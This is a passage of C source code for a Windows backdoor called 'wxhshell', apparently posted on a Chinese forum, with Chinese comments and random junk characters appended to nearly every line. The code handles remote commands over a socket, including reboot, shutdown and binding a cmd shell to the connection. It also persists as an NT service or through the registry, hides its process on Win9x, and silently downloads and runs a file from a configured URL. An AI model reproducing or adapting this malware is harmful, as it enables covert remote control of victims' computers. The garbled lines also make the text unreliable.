  } $+?6U  
  else { YGxdYwBwf  
(+4=A k  
    switch(cmd[0]) { ZI5UQH/  
  <,LeFy\zW  
  // 帮助 4=1lyw  
  case '?': { u52@{@Ad  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bjR&bIA:  
    break; ^goS? p/z  
  } @m(\f  
  // 安装 Ron^PvvY&  
  case 'i': { F9d][ P@@  
    if(Install()) ?Ww',e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fA|'}(kH  
    else ^P]: etld9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D-[0^  
    break; Tvk=NJ  
    } X-t4irZ)  
  // 卸载 ,PY<AI^59  
  case 'r': { H9&? <j1n  
    if(Uninstall()) SH5k^EJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L:'Y#VI{  
    else S_\RQB\l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Jx?m  
    break; .}Xkr+ +]  
    } 8y+Gvk:  
  // 显示 wxhshell 所在路径  u0i @.  
  case 'p': { s  n?  
    char svExeFile[MAX_PATH]; 4I,HvP  
    strcpy(svExeFile,"\n\r"); fF>H7  
      strcat(svExeFile,ExeFile); qT}&XK`Q^  
        send(wsh,svExeFile,strlen(svExeFile),0); X_=oJi|:  
    break; Jq.26I=  
    } .&* Tj}p  
  // 重启 KnbP@!+c  
  case 'b': { gg6&Fzp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :s8,i$Ex  
    if(Boot(REBOOT)) "i#!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <nIU]}q  
    else { OY?uqP}c  
    closesocket(wsh); @ cv`}k  
    ExitThread(0); RPLr7Lb  
    } 7\jH?Zi  
    break; |4dNi1{Zd  
    } Ef7 Kx49I  
  // 关机 dLjT^ 9  
  case 'd': { 6C)OO"Bc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 76c}Rk^  
    if(Boot(SHUTDOWN)) S~m* t i(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /oWB7l&  
    else { @89mj{  
    closesocket(wsh); &\1Dy}:  
    ExitThread(0); M?]ObIM:5  
    } } 1c5#Ym  
    break; slw^BK3t  
    } ~-.q<8  
  // 获取shell !hJ%{.  
  case 's': { p|W:;(  
    CmdShell(wsh); 6#dx%TC  
    closesocket(wsh); .}j@(D  
    ExitThread(0); \QHM7C T  
    break; #He:p$43  
  } J,jl(=G  
  // 退出 _Hkc<j/e~  
  case 'x': { =#1/<q)L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); po{f*}gas]  
    CloseIt(wsh); ?t<wp3bZ  
    break; Z#\ \NfR  
    } # VR}6Jv  
  // 离开 `GH6$\:  
  case 'q': { P^&+ehp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )Q9J,  
    closesocket(wsh); 8whjPn0  
    WSACleanup(); 7_A(1Lx/l7  
    exit(1); t6LTGWs/_o  
    break; >R.~'A/$F  
        } ;/ p)vR  
  } {%~Sbcq4F  
  } &4DvZq=  
Hjlx,:'M  
  // 提示信息 na%9E8;:&v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R[o KhU  
} ' Bdvqq  
  } zYH6+!VBH#  
`SOaQ|H  
  return; p61"a,Xc  
} 5%+T~ E*  
hu6)GOZbv  
// shell模块句柄 |[xi"E\  
int CmdShell(SOCKET sock) MJ>(HJY6?%  
{ -7\RO%U  
STARTUPINFO si; EMJ}tvL0Tp  
ZeroMemory(&si,sizeof(si)); 1=#`&f5f&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gSC8qip  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mAXTO7  
PROCESS_INFORMATION ProcessInfo; a!wPBJJ  
char cmdline[]="cmd"; sd>#Hn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ik~5j(^E-  
  return 0; J2yq|n?2gq  
} Cvi-4   
@-Gf+*GZys  
// 自身启动模式 ~>)cY{wE_  
int StartFromService(void) '0?5K0 2(  
{ g"<kj"  
typedef struct /&vUi7'  
{ C$rZn%dp(  
  DWORD ExitStatus; o$2fML  
  DWORD PebBaseAddress; BXLhi(.s  
  DWORD AffinityMask; n j1 cqh  
  DWORD BasePriority; mnG\UK,k  
  ULONG UniqueProcessId; RkC?(p  
  ULONG InheritedFromUniqueProcessId; aiUn bP  
}   PROCESS_BASIC_INFORMATION; &XN*T.Y`  
[NC^v.[1[  
PROCNTQSIP NtQueryInformationProcess; \5X34'7   
V$^x]z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [gD02a: u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vO <;Gnh~  
zoO>N'b3)  
  HANDLE             hProcess; u!;kBs  
  PROCESS_BASIC_INFORMATION pbi; 5>$*#0%"}  
XIf,#9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $D8KEkW  
  if(NULL == hInst ) return 0; R%SsHu">  
A qE,zW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +U@P+;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vFy /  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R"K{@8b  
W~R_- ]k@g  
  if (!NtQueryInformationProcess) return 0; Zni8 im,_j  
W._vikR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i_f"?X;D  
  if(!hProcess) return 0; ?T?%x(]I  
+)Z,%\)Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D3BX[  
^> ZQ:xs@(  
  CloseHandle(hProcess); qo4AQ}0 <  
: 8(~{<R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o"TEmZUP  
if(hProcess==NULL) return 0; U{{RRK|  
IjD: hR@  
HMODULE hMod; [ *R8XXuL  
char procName[255]; z_r W1?|  
unsigned long cbNeeded; %k1*&2"1#  
C$M^<z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '$l*FWOEal  
(w@|:0t^y[  
  CloseHandle(hProcess); @v@'8E Q  
E$*I.i_m  
if(strstr(procName,"services")) return 1; // 以服务启动 &<k )W  
F0]= z-  
  return 0; // 注册表启动 E70  
} ]';!r20  
9JP{F  
// 主模块 6 3Kec  
int StartWxhshell(LPSTR lpCmdLine) ^:LF  
{ R4p bi=  
  SOCKET wsl; Zo'lvOpyZ  
BOOL val=TRUE; *Cj]j-  
  int port=0; `Fu|50_@V  
  struct sockaddr_in door; Y~gpiL3u  
vAU^<$D27  
  if(wscfg.ws_autoins) Install(); >TwOL  
~r&Q\G  
port=atoi(lpCmdLine); u[fQvdl  
Cg8{NNeD  
if(port<=0) port=wscfg.ws_port; Oj~k1+*  
@q[-,EA9  
  WSADATA data; KiH#*u S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $F;$-2  
d ID] {  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   K.*zqQKlI|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *s;$`8fM<  
  door.sin_family = AF_INET; 024*IoVZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jAN(r>zVL  
  door.sin_port = htons(port); 80l(,0`,  
1b* dC;<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +xFtGF)  
closesocket(wsl); OjyS ?YY)b  
return 1; (|h<{ -L  
} CA[k$Sw*  
q{n~s=  
  if(listen(wsl,2) == INVALID_SOCKET) { hTH"jAC+  
closesocket(wsl); ?AYI   
return 1; k:`^KtBMl  
} /8J2,8vZ  
  Wxhshell(wsl); SJIJV6}H  
  WSACleanup(); 9S.R%2xw`  
kZSe#'R's  
return 0; .oAg (@^6  
~F uD6f  
} N~Ax78TX  
4$SW~BpQ  
// 以NT服务方式启动 rS)7D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w.^k':,"  
{ z&cfFx#h)  
DWORD   status = 0; r3p fG  
  DWORD   specificError = 0xfffffff; >Py;6K  
B=|yjA'Fg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tAbIT;>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -D38>#Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /xj'Pq((}p  
  serviceStatus.dwWin32ExitCode     = 0; y)Ip\.KV\  
  serviceStatus.dwServiceSpecificExitCode = 0; @b-?KH  
  serviceStatus.dwCheckPoint       = 0; 'xr\\Cd9s  
  serviceStatus.dwWaitHint       = 0; :mL\KQ  
:t^=~xO9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !OC?3W:^_  
  if (hServiceStatusHandle==0) return; |) T HuE(  
qd!$nr  
status = GetLastError(); |;9OvR> A  
  if (status!=NO_ERROR) 2!{CNt.-  
{ ^=.|\ YM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LvhF@%(9J  
    serviceStatus.dwCheckPoint       = 0; 2*%0m^#^6  
    serviceStatus.dwWaitHint       = 0; yd#4b`8U`  
    serviceStatus.dwWin32ExitCode     = status; i&Xr+Zsec"  
    serviceStatus.dwServiceSpecificExitCode = specificError; B YNOgB1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )1lYfJ  
    return; 0`,a@Q4  
  } pr@8PD2%  
~EE*/vX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %C'!L]#  
  serviceStatus.dwCheckPoint       = 0; O_(J',++  
  serviceStatus.dwWaitHint       = 0; 1B,RRHXn6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~wh8)rm  
} ~)sb\o  
WoesE:NiR  
// 处理NT服务事件,比如:启动、停止 W53i5u(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0y2iS' t  
{ |p.mA-81  
switch(fdwControl) YC*S;q  
{ q^O{LGN  
case SERVICE_CONTROL_STOP: %+>I1G  
  serviceStatus.dwWin32ExitCode = 0; 9~Q.[ A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k3^S^Bv\  
  serviceStatus.dwCheckPoint   = 0; AP/tBC eM  
  serviceStatus.dwWaitHint     = 0; wjKW 3  
  { )5'S=av9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l$)pCo  
  } k NK)mE  
  return; -`f JhQ|  
case SERVICE_CONTROL_PAUSE: l.>QO ;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \HTXl]  
  break; @i6D&e=  
case SERVICE_CONTROL_CONTINUE: .CwMxuW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vV8 y_  
  break; kmo3<'j{  
case SERVICE_CONTROL_INTERROGATE: -L1{0{Z  
  break; HO & #Lv  
}; ]5uCs[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j Dy  
} pA1Tod  
b .j\=c  
// 标准应用程序主函数 |w:7).P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6dq5f?w]  
{ vIz~B2%x  
jNrGsIY$  
// 获取操作系统版本 U2@?!B[\d`  
OsIsNt=GetOsVer(); !3?HpR/nV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9dSKlB5J  
j YO #  
  // 从命令行安装 M0"xDvQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y~fds#y0  
f u\M2"e  
  // 下载执行文件 ]7c715@  
if(wscfg.ws_downexe) { '1/uf;OXIH  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y/)>\  
  WinExec(wscfg.ws_filenam,SW_HIDE); viY _Y.Yjy  
} 8Qek![3^  
FW=oP>f]w  
if(!OsIsNt) { :);GeZ  
// 如果时win9x,隐藏进程并且设置为注册表启动 sh E>gTe  
HideProc(); tb{l(up/a  
StartWxhshell(lpCmdLine); VY Va8[}  
} !XzRV?Ih;  
else sq-[<ryk  
  if(StartFromService()) u@[D*c1!H  
  // 以服务方式启动 ewY+a , t  
  StartServiceCtrlDispatcher(DispatchTable); BEifUgCh  
else umSbxEZU@  
  // 普通方式启动 DoNbCVZ  
  StartWxhshell(lpCmdLine);  ~/ iE  
h-Ffs  
return 0; kCLz@9>FQ  
}
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只看该作者 1 发表于: 2006-10-10
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